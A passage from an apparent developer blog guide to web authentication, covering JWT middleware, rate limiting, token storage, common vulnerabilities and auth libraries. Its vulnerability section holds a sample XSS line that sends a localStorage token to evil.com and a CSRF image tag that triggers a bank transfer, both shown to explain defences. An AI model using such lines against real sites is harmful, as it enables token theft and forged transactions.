const SECRET = new TextEncoder().encode(process.env.JWT_SECRET);

export async function middleware(request: NextRequest) {
  const path = request.nextUrl.pathname;

  // Skip public paths
  if (PUBLIC_PATHS.some(p => path.startsWith(p))) {
    return NextResponse.next();
  }

  const token = request.cookies.get('accessToken')?.value;

  if (!token) {
    return NextResponse.redirect(new URL('/login', request.url));
  }

  try {
    const { payload } = await jwtVerify(token, SECRET);

    // Add user info to headers for server components
    const response = NextResponse.next();
    response.headers.set('x-user-id', payload.sub as string);
    response.headers.set('x-user-role', payload.role as string);
    return response;
  } catch {
    return NextResponse.redirect(new URL('/login', request.url));
  }
}

export const config = {
  matcher: ['/((?!_next/static|_next/image|favicon.ico).*)']
};
Enter fullscreen mode Exit fullscreen mode

Server Components — read auth state:

// app/dashboard/page.tsx
import { cookies } from 'next/headers';
import { jwtVerify } from 'jose';

async function getUser() {
  const cookieStore = await cookies();
  const token = cookieStore.get('accessToken')?.value;
  if (!token) return null;

  try {
    const { payload } = await jwtVerify(
      token,
      new TextEncoder().encode(process.env.JWT_SECRET)
    );
    return payload;
  } catch {
    return null;
  }
}

export default async function Dashboard() {
  const user = await getUser();
  if (!user) redirect('/login');

  return (
    <div>
      <h1>Welcome, {user.email}</h1>
      {user.role === 'admin' && <AdminPanel />}
    </div>
  );
}
Enter fullscreen mode Exit fullscreen mode

Securing REST APIs

// Rate limiting on auth endpoints (critical!)
const rateLimit = require('express-rate-limit');

const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 10,                   // 10 attempts
  message: { error: 'Too many login attempts. Try again in 15 minutes.' },
  standardHeaders: true,
  legacyHeaders: false
});

app.post('/api/auth/login', authLimiter, loginHandler);
app.post('/api/auth/register', authLimiter, registerHandler);

// Input validation
const { body, validationResult } = require('express-validator');

app.post('/api/auth/register',
  authLimiter,
  body('email').isEmail().normalizeEmail(),
  body('password')
    .isLength({ min: 8 })
    .matches(/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)/)
    .withMessage('Password must include uppercase, lowercase, and a number'),
  (req, res, next) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    next();
  },
  registerHandler
);
Enter fullscreen mode Exit fullscreen mode

Securing GraphQL APIs

GraphQL is trickier because there's typically one endpoint. You can't just protect routes — you need to protect at the resolver level.

// Apollo Server with auth context
const { ApolloServer } = require('@apollo/server');

const server = new ApolloServer({
  typeDefs,
  resolvers,
});

// Extract user from token in context
async function getContext({ req }) {
  const token = req.headers.authorization?.replace('Bearer ', '');
  let user = null;

  if (token) {
    try {
      const payload = jwt.verify(token, process.env.JWT_SECRET);
      user = await db.users.findById(payload.sub);
    } catch {}
  }

  return { user };
}

// Auth directive or wrapper for resolvers
function authenticated(resolver) {
  return (parent, args, context, info) => {
    if (!context.user) {
      throw new GraphQLError('Not authenticated', {
        extensions: { code: 'UNAUTHENTICATED' }
      });
    }
    return resolver(parent, args, context, info);
  };
}

function authorized(role, resolver) {
  return authenticated((parent, args, context, info) => {
    if (context.user.role !== role && context.user.role !== 'admin') {
      throw new GraphQLError('Not authorized', {
        extensions: { code: 'FORBIDDEN' }
      });
    }
    return resolver(parent, args, context, info);
  });
}

// Resolvers
const resolvers = {
  Query: {
    me: authenticated((_, __, { user }) => user),
    users: authorized('admin', () => db.users.findAll()),
    publicPosts: (_, __) => db.posts.findPublic(), // No auth needed
  },
  Mutation: {
    deleteUser: authorized('admin', (_, { id }) => db.users.delete(id)),
    updateProfile: authenticated((_, { input }, { user }) => {
      return db.users.update(user.id, input);
    }),
  }
};
Enter fullscreen mode Exit fullscreen mode

Token Storage: Where to Put Them

This is a critical security decision. Here's the full picture.

Storage XSS Vulnerable? CSRF Vulnerable? Persists Across Tabs? Survives Refresh?
localStorage YES No Yes Yes
sessionStorage YES No No Yes (same tab)
httpOnly Cookie No YES (without SameSite) Yes Yes
In-memory (JS variable) Only during XSS No No No
httpOnly Cookie + SameSite No No Yes Yes

The Recommended Approach

Access Token:  In memory (JS variable) or short-lived httpOnly cookie
Refresh Token: httpOnly, Secure, SameSite=Strict cookie

Why?
- Access token in memory: Can't be stolen via XSS (no persistent storage)
- Refresh token in httpOnly cookie: Can't be accessed by JavaScript at all
- SameSite=Strict: Prevents CSRF
- Short access token lifetime (15min): Limits damage if somehow leaked
Enter fullscreen mode Exit fullscreen mode
// Server: Set refresh token as httpOnly cookie
res.cookie('refreshToken', refreshToken, {
  httpOnly: true,       // JavaScript can't access it
  secure: true,         // HTTPS only
  sameSite: 'strict',   // Not sent on cross-origin requests
  maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
  path: '/api/auth'     // Only sent to auth endpoints
});

// Send access token in response body (stored in memory by client)
res.json({ accessToken });
Enter fullscreen mode Exit fullscreen mode
// Client: Store access token in memory
let accessToken = null;

async function login(email, password) {
  const res = await fetch('/api/auth/login', {
    method: 'POST',
    credentials: 'include', // Send cookies
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password })
  });
  const data = await res.json();
  accessToken = data.accessToken; // In memory only
}

async function fetchWithAuth(url, options = {}) {
  let res = await fetch(url, {
    ...options,
    credentials: 'include',
    headers: {
      ...options.headers,
      'Authorization': `Bearer ${accessToken}`
    }
  });

  // If 401, try refreshing
  if (res.status === 401) {
    const refreshRes = await fetch('/api/auth/refresh', {
      method: 'POST',
      credentials: 'include' // Sends httpOnly refresh cookie
    });

    if (refreshRes.ok) {
      const data = await refreshRes.json();
      accessToken = data.accessToken;
      // Retry original request
      res = await fetch(url, {
        ...options,
        credentials: 'include',
        headers: {
          ...options.headers,
          'Authorization': `Bearer ${accessToken}`
        }
      });
    } else {
      // Refresh failed — redirect to login
      window.location.href = '/login';
    }
  }

  return res;
}
Enter fullscreen mode Exit fullscreen mode

Common Auth Vulnerabilities

CSRF (Cross-Site Request Forgery)

An attacker tricks a user's browser into making a request to your site (using the user's cookies).

Attacker's site has:
  <img src="https://yourbank.com/api/transfer?to=attacker&amount=10000" />

User visits attacker's site while logged into yourbank.com.
Browser sends the GET request WITH the user's session cookie.
Money transferred.
Enter fullscreen mode Exit fullscreen mode

Prevention:

  • SameSite=Strict or SameSite=Lax on cookies (most effective)
  • CSRF tokens (traditional approach)
  • Check Origin and Referer headers

XSS (Cross-Site Scripting)

Attacker injects JavaScript into your page that steals tokens from localStorage or makes authenticated requests.

// If an attacker injects this into your page:
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'));
// Your token is gone.

// httpOnly cookies are immune to this — JavaScript simply cannot access them
document.cookie; // httpOnly cookies don't appear here
Enter fullscreen mode Exit fullscreen mode

Prevention:

  • Never store sensitive tokens in localStorage
  • Use httpOnly cookies
  • Sanitize all user input
  • Use Content Security Policy (CSP) headers

Session Fixation

Attacker sets a known session ID before the user logs in, then uses that same session after login.

Prevention: Always regenerate the session ID after successful login.

app.post('/login', async (req, res) => {
  // ... verify credentials ...

  // Regenerate session to prevent fixation
  req.session.regenerate((err) => {
    req.session.userId = user.id;
    res.json({ success: true });
  });
});
Enter fullscreen mode Exit fullscreen mode

JWT Pitfalls

Pitfall Description Fix
alg: "none" Some libraries accept unsigned tokens Always specify allowed algorithms
Storing secrets in payload JWT payload is just base64, not encrypted Never put sensitive data in JWT payload
No expiration Token valid forever Always set exp claim
Long-lived tokens More time for stolen token to be used Short access tokens + refresh rotation
Client-side verification Trusting the client to check expiration Always verify server-side
// ALWAYS specify the algorithm — prevents "none" attack
jwt.verify(token, secret, { algorithms: ['HS256'] });

// NEVER do this:
jwt.verify(token, secret); // Accepts whatever algorithm the token claims
Enter fullscreen mode Exit fullscreen mode

Brute Force Protection

// Combine rate limiting with account lockout
const loginAttempts = new Map(); // Use Redis in production

app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const key = email.toLowerCase();

  // Check lockout
  const attempts = loginAttempts.get(key) || { count: 0, lockedUntil: null };

  if (attempts.lockedUntil && attempts.lockedUntil > Date.now()) {
    const waitSeconds = Math.ceil((attempts.lockedUntil - Date.now()) / 1000);
    return res.status(429).json({
      error: `Account locked. Try again in ${waitSeconds} seconds.`
    });
  }

  const user = await db.users.findByEmail(email);
  const isValid = user && await bcrypt.compare(password, user.passwordHash);

  if (!isValid) {
    attempts.count++;

    // Exponential backoff lockout
    if (attempts.count >= 5) {
      const lockoutMinutes = Math.min(2 ** (attempts.count - 5), 60);
      attempts.lockedUntil = Date.now() + lockoutMinutes * 60 * 1000;
    }

    loginAttempts.set(key, attempts);

    // Constant-time response (don't reveal if email exists)
    return res.status(401).json({ error: 'Invalid email or password' });
  }

  // Reset attempts on success
  loginAttempts.delete(key);

  // ... create session/token ...
});
Enter fullscreen mode Exit fullscreen mode

Auth Libraries and Services Comparison

Libraries (Self-Hosted)

Library Framework Sessions JWT OAuth Passkeys Notes
Auth.js (NextAuth) Next.js, SvelteKit Yes Yes Yes (built-in) Experimental Most popular for Next.js
Lucia Any (framework-agnostic) Yes No Manual Manual Lightweight, great DX
Passport.js Express Yes Plugin Yes (strategies) Plugin Old but massive ecosystem
Iron Session Next.js Yes (encrypted cookies) No Manual Manual Minimal, encrypted sessions
Better Auth Any Yes Yes Yes Yes Newer, feature-rich
Arctic Any No No Yes No Just OAuth — does it well

Services (Managed)

Service Free Tier OAuth Passkeys MFA Pricing Model
Clerk 10k MAU Yes Yes Yes Per MAU
Auth0 7.5k MAU Yes Yes Yes Per MAU
Supabase Auth 50k MAU Yes No Yes Included with Supabase
Firebase Auth Unlimited (mostly) Yes No Yes (phone) Per verification
Kinde 10.5k MAU Yes Yes Yes Per MAU
WorkOS 1M MAU Yes No Yes Per MAU (enterprise SSO is extra)

Decision Guide

Building a Next.js app?
  ├── Want managed? --> Clerk or Auth0
  └── Want self-hosted?
      ├── Need OAuth? --> Auth.js (NextAuth)
      └── Just sessions? --> Iron Session or Lucia

Building an Express API?
  ├── Need many OAuth providers? --> Passport.js
  └── Minimal auth? --> Roll your own with bcrypt + express-session

Need enterprise SSO (SAML/OIDC)?
  └── WorkOS or Auth0

Budget is zero?
  └── Supabase Auth (generous free tier) or self-hosted Lucia
Enter fullscreen mode Exit fullscreen mode

Real-World Auth Architecture for a SaaS App

Here's what a production auth system looks like for a typical B2B SaaS application:

┌─────────────────────────────────────────────────────────────────┐
│                         Client (Browser)                        │
│                                                                 │
│  ┌──────────┐  ┌──────────────┐  ┌────────────────────────┐   │
│  │  Login   │  │  OAuth Flow  │  │  Passkey Registration  │   │
│  │  Form    │  │  (Google,    │  │  & Authentication      │   │
│  │          │  │   GitHub)    │  │                        │   │
│  └────┬─────┘  └──────┬───────┘  └───────────┬────────────┘   │
│       │               │                       │                 │
│       └───────────────┴───────────────────────┘                 │
│                           │                                     │
│              Access token in memory                             │
│              Refresh token in httpOnly cookie                   │
└───────────────────────────┼─────────────────────────────────────┘
                            │
                            ▼
┌─────────────────────────────────────────────────────────────────┐
│                     API Gateway / Edge                           │
│                                                                 │
│  - Rate limiting (stricter on /auth endpoints)                  │
│  - CORS validation                                              │
│  - Token verification (fast-reject invalid tokens)              │
└───────────────────────────┼─────────────────────────────────────┘
                            │
                            ▼
┌─────────────────────────────────────────────────────────────────┐
│                      Auth Service                               │
│                                                                 │
│  ┌─────────────────┐  ┌───────────────────┐                   │
│  │ Authentication   │  │ Authorization      │                   │
│  │                 │  │                   │                   │
│  │ - Login/Signup  │  │ - RBAC policies   │                   │
│  │ - OAuth flows   │  │ - Org membership  │                   │
│  │ - Passkeys      │  │ - Resource perms  │                   │
│  │ - MFA verify    │  │ - API key scopes  │                   │
│  │ - Token issue   │  │                   │                   │
│  └────────┬────────┘  └────────┬──────────┘                   │
│           │                    │                               │
│  ┌────────┴────────────────────┴──────────┐                   │
│  │            Data Stores                  │                   │
│  │                                        │                   │
│  │  PostgreSQL: users, orgs, roles,       │                   │
│  │    permissions, API keys, passkeys     │                   │
│  │                                        │                   │
│  │  Redis: sessions, refresh tokens,      │                   │
│  │    rate limit counters, token blocklist │                   │
│  └────────────────────────────────────────┘                   │
└─────────────────────────────────────────────────────────────────┘
                            │
                  Verified user context
                  passed via headers or
                  shared JWT to downstream
                            │
                            ▼
┌─────────────────────────────────────────────────────────────────┐
│                   Application Services                          │
│                                                                 │
│  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐      │
│  │ Users    │  │ Billing  │  │ Projects │  │ Settings │      │
│  │ Service  │  │ Service  │  │ Service  │  │ Service  │      │
│  └──────────┘  └──────────┘  └──────────┘  └──────────┘      │
│                                                                 │
│  Each service trusts the auth context from the Auth Service.    │
│  No direct DB access to auth tables.                            │
└─────────────────────────────────────────────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

Key design decisions in this architecture:

  1. Auth is a separate service — isolates security-critical code
  2. Gateway handles fast-reject — invalid tokens are caught before hitting app logic
  3. Redis for sessions/tokens — fast lookups, easy expiration, supports revocation
  4. PostgreSQL for persistent auth data — users, roles, credentials need durability
  5. Downstream services trust auth context — they don't re-verify tokens, they trust headers from the gateway

Decision Framework

Not sure which auth approach to take? Walk through this:

1. What type of application?
   ├── Server-rendered web app --> Session-based auth (cookies)
   ├── SPA + API --> JWT (access) + httpOnly cookie (refresh)
   ├── Mobile app --> JWT with secure storage (Keychain/Keystore)
   ├── API for developers --> API keys
   └── Service-to-service --> mTLS or signed JWTs

2. Do you need social login?
   ├── Yes --> OAuth 2.0 (use a library: Auth.js, Passport)
   └── No --> Email/password + optional passkeys

3. How critical is security?
   ├── Financial/healthcare --> MFA required, passkeys, short sessions
   ├── Business SaaS --> MFA optional, session-based, RBAC
   └── Consumer app --> Email/password is fine, consider magic links

4. Do you need instant revocation?
   ├── Yes --> Sessions (or JWTs with a blocklist in Redis)
   └── Not critical --> JWTs with short expiry + refresh rotation

5. Authorization model?
   ├── Simple roles (admin/user/viewer) --> RBAC
   ├── Per-resource sharing (like Google Docs) --> ReBAC
   ├── Complex rules with context --> ABAC or policy engine
   └── Just ownership checks --> Simple middleware checks

6. Build or buy?
   ├── Small team, need to move fast --> Managed service (Clerk, Auth0)
   ├── Need full control --> Self-hosted with a library (Lucia, Auth.js)
   └── Enterprise requirements --> WorkOS or Auth0 Enterprise
Enter fullscreen mode Exit fullscreen mode

Wrapping Up

Auth is one of those things that seems simple on the surface but has surprising depth once you start considering all the edge cases, security implications, and architectural decisions. Here are the key takeaways:

  1. Always hash passwords with bcrypt or argon2. There's no excuse for anything less.
  2. Sessions are simpler and more secure by default than JWTs for most web apps. Use JWTs when you genuinely need stateless auth.
  3. Store tokens in httpOnly cookies, not localStorage. If you need the access token in JavaScript, keep it in memory.
  4. RBAC covers 90% of use cases. Don't overcomplicate authorization unless your product demands it.
  5. Rate limit your auth endpoints aggressively. Login, register, and password reset endpoints are the #1 brute force target.
  6. Passkeys are the future. Start offering them as an option even if you keep passwords as a fallback.
  7. Use a library or service unless you have a very good reason to roll your own. Auth is not where you want to be creative.

The most secure auth system is one that you've thought through carefully and kept simple enough to maintain. Complexity is the enemy of security.


If this guide was useful and you want to see more deep dives on backend engineering and security, connect with me on LinkedIn. I share practical insights on system design, web development, and building things that scale. Let's connect!

Top comments (0)